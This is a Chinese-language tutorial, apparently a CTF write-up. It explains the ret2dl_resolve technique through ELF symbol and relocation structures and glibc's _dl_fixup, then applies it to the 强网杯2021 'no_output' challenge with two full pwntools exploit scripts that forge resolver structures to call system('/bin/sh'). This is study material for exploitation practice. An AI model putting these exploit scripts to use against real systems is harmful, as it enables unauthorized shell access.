ret2dl_resolve

文章发布时间:

最后更新时间:

适用于无法leak信息的栈溢出
动态装载器负贵将二进制文件及依赖库加载到内存,该过程包含了对导入符号(函数和全局变量)的解析。
每个符号都是一个Elf_Sym结构体的实例,这些符号又共同组成
了.dynsym段。Elf_Sym结构体如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
/*Symbol table entry.*/
typedef struct{
Elf32_Word st name;/*Symbol name (string tbl index)*/
Elf32_Addr st_value;/*Symbol value*/
Elf32_Word st_size;/*Symbol size*/
unsigned char st info;/*Symbol type and binding */
unsigned char st_other;/*Symbol visibility*/
Elf32_Section st shndx;/*Section index*/
}Elf32_Sym;
/*How to extract and insert information held in the st info field.*/
#define ELF32_ST_BIND(val) (((unsigned char)(val))>>4)
#define ELF32_ST_TYPE(val) ((va1)&0xf)
#define ELF32_ST_INFO(bind,type)((bind) << 4)+((type) &0xf)

其中st_name域是相对于.dynstr段的偏移,保存符号名字符串;st_value域是当符号被导出时用于存放虚拟地址的,不导出时则为NULL。

导入符号的解析需要进行重定位,每个重定位项都是一个ELF_Rel结构体的实例
这些项又共同组成了.rl.plt段(用于导入函数)和.rel.dyn段(用于导入全局变量)。Elf_Rel结构体如下所示。

1
2
3
4
5
6
7
8
9
/*Relocation table entry without addend (in section of type SHT_REL).*/
typedef struct{
Elf32_Addr r_offset;/*Address*/
Elf32_Word r_info;/*Relocation type and symbol index*/
} Elf32_Rel;
/*How to extract and insert information held in the r info field.*/
#define ELF32_R_SYM(val) ((val)>>8)
#define ELF32_R_TYPE(val) ((val)& Oxff)
#define ELF32_R_INFO(sym,type) (((sym)<<8)((type)&0xff))

其中r_offset.域用于保存解析后的符号地址写入内存的位置(绝对地址),rinfo域的高位3个字节用于标识该符号在.dynsym段中的位
置(无符号下标)。

因此,当程序导入一个函数时,动态链接器会同时在.dynstr段中添加一个函数名字符串,在.dynsym段中添加一个指向函数名字符串的EIf_Sym,在.rel.plt段中添加一个指向EIf_Sym的Elf_Rel。
最后,这些Elf_Rel的r_offset域又构成了GOT表,保存在.got.plt段中。
由于引入了延迟绑定机制,符号的解析只有在第一次使用的时候才进行,该过程是通过PLT表进行的。每个导入函数都在PLT表中有一个条目,
其第1条指令无条件跳转到对应G0T条目保存的地址处。
而每个GOT条目在初始化时都默认指向对应PLT条目的第2条指令的位置,相当于又跳回来了。
此时继续执行PLT的后两条指令,先将导入函数的标识(Elf_Rel在.rel.plt段中的偏移)压栈,然后跳转到PLT0执行。
PLT0包含两条指令,先将GOT[1]的值(一个link_map对象的地址)压栈,然后跳转到GOT[2]保存到地址处
也就是_dl_runtime_resolve()函数。
函数参数link_map_obj用于获取解析导入函数所需的信息,参数reloc_.indox则标识了解析哪一个导入函数。
解析完成后,相应的GOT条目会被修改为正确的函数地址,此后程序再调用该函数时就不需要再次进行解析了。

在i386下,_dl_runtime_resolve()由汇编实现,如下

其中,_dl_fixup()函数在/elf/dl-runtime.c中实现,用于解析导入函数的真实地址,并改写GOT,如下
注意,这里是glibc2.31的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);//对应got表地址
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);//检查

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);//找到对应libc,返回指向libc_base的指针

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));//获得函数真实地址
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); //写入got表
}

此外,由于RELRO保护机制会影响延迟绑定,因此也会影响ret2dl-resolve:
Partial RELRO:包括.dynamic段在内的一些段会被标识为只读。
Full RELRO:在Partial RELRO的基础上,禁用延迟绑定,即所有的导入符号在加载时就被解析,.got.pt段被完全初始化为目标函数的地址,并标记为只读。

(1)关闭RELRO保护,使.dynamic段可写时:由于动态装载
器是从.dynamic.段的DT_STRTAB条目中来获取.dynstr段的地址,
而DT_STRTAB的位置是己知的,且默认情况下可写,所以攻击者能
够改写DT_STRTAB的内容,欺骗动态装载器,使它以为.dynstr.段
在.bSs上,同时在那里伪造一个假的字符串表。当动态装载器尝试解
析printf()时就会使用不同的基地址来寻找函数名,最终执行的是
execve().
(2)开启Partial RELRO保护,使.dynamic段不可写时:我们
知道_dl_runtime_resolve()的第二个参数reloc_.index对应Elf_Rel
在.rel.plt段中的偏移,动态装载器将其加上.rel.plt的基地址来得到
目标Elf Rel的内存地址。然而,当这个内存地址超出了.rel.plt段,
并最终落在.bss段中时,攻击者就可以在那里伪造一个Elf_Rel,使
r_offset的值是一个可写的内存地址来将解析后的函数地址写在那
里。同理,使rifo的值是一个能够将动态装载器导向到攻击者控制
内存的下标,指向一个位于它后面的Elf_Sym,而Elf_Sym中的
st_name指向它后面的函数名字符串。

直接在题上复现过程
[强网杯2021 no_output]
checksec


在程序运行前(执行第一次read前)

断点下到的位置就是read@plt,顺带可以看到dl_runtime_resolve的入口



接下来走逆向部分

这里打开了flag,同时将unk_804C080存在全局变量result。

1
2
3
4
5
6
7
8
9
10
11
12
13
v3 = "tell me some thing";
read(0, buf, 0x30u);
v3 = "Tell me your name:\n";
read(0, src, 0x20u);
sub_80493EC(src);
strcpy(dest, src); // strcpy 被 '\x00' 截断,而且还会往 dest 后面补一个 '\x00'
v3 = "now give you the flag\n";
read(unk_804C080, src, 0x10u);
// off_804C034 存放的是字符串 "hello_boy\x00"
// check() 是字符串比较,两个字符串相同返回 0
result = check(src, off_804C034);
if ( !result )
result = sub_8049269();

这里的strcpy存在一个类似于off-by-null的漏洞,会把unk_804C080覆盖为\x00,因为dest后面就是unk_804C080,如下:

导致后一个read实际执行read(unk_804C080,src,0x10),因此可以通过直接输入”hello_boy\x00”来进入sub_8049269,如下

此处 signal() 函数的作用在于:当发生除法异常时,执行 sub_8049236 函数,sub_8049236 函数中便是一个栈溢出了。
由于 v1 不能为 0,我们令 v2 = -2147483648, v1 = -1,此时会发生除法溢出(int 类型的数据范围为:-2147483648 ~ 2147483647)。由于没有输出函数,用 ret2dlresolve 的方式来利用这个栈溢出漏洞。
存两个模板吧
ezdl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.log_level = "debug"

elf = ELF('./no_output')
p = process('./no_output')
rop = ROP('./no_output')

# 这里很奇怪,好像放别的字符串都不行...
p.send(b'\x00')

#gdb.attach(p)

p.send(b'a'*0x20)
p.send(b'hello_boy\x00')
p.sendline(b'-2147483648')
p.sendline(b'-1')


dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
print(dlresolve)

rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
info(rop.dump())
# fit() 函数会自动填充,76 是溢出点,0x100 是 read() 函数的长度
p.sendline(fit({76:raw_rop, 0x100:dlresolve.payload}))

p.interactive()

detail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from pwn import p32

challenge = "./no_output"
context(arch = "i386",log_level = "debug",os = "linux")

p = process('./no_output')
#libc = ELF("./libc.so.6")
#r = remote("39.105.138.97",1234)
elf = ELF('./no_output')

leave_ret = 0x080491a5
bss_stage = elf.bss() + 0x200
success("bss : %s",hex(elf.bss()))
fake_ebp = bss_stage
offset = 0x4c-8+8
#read_plt = elf.plt["read"]

#gdb.attach(r)
p1 = b"\x00" * 0x30
p.send(p1)
sleep(1)
p.send(b'A' * 0x20)
str1 = b'hello_boy'
str1 = str1.ljust(0x10,b'\x00')
p.send(str1)
p.sendline(b"-2147483648")
p.sendline(b"-1")
sleep(0.1)

read_plt = 0x80490C4
ppp_ret = 0x08049581 # ROPgadget --binary test --only "pop|ret"
pop_ebp_ret = 0x08049583
leave_ret = 0x080491a5 # ROPgadget --binary test --only "leave|ret"

stack_size = 0x800
bss_addr = elf.bss() # readelf -S test | grep ".bss"
base_stage = bss_addr + stack_size


payload = flat(b'A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
p.send(payload)

cmd = "/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt test
rel_plt = 0x8048414 # objdump -s -j .rel.plt test
dynsym = 0x08048248 # readelf -S test
strtab = 0x08048318 #readelf -S test
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['read']

align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'system\x00'

payload2 = flat(b'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, b'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
#pause()
p.send(payload2)
p.interactive()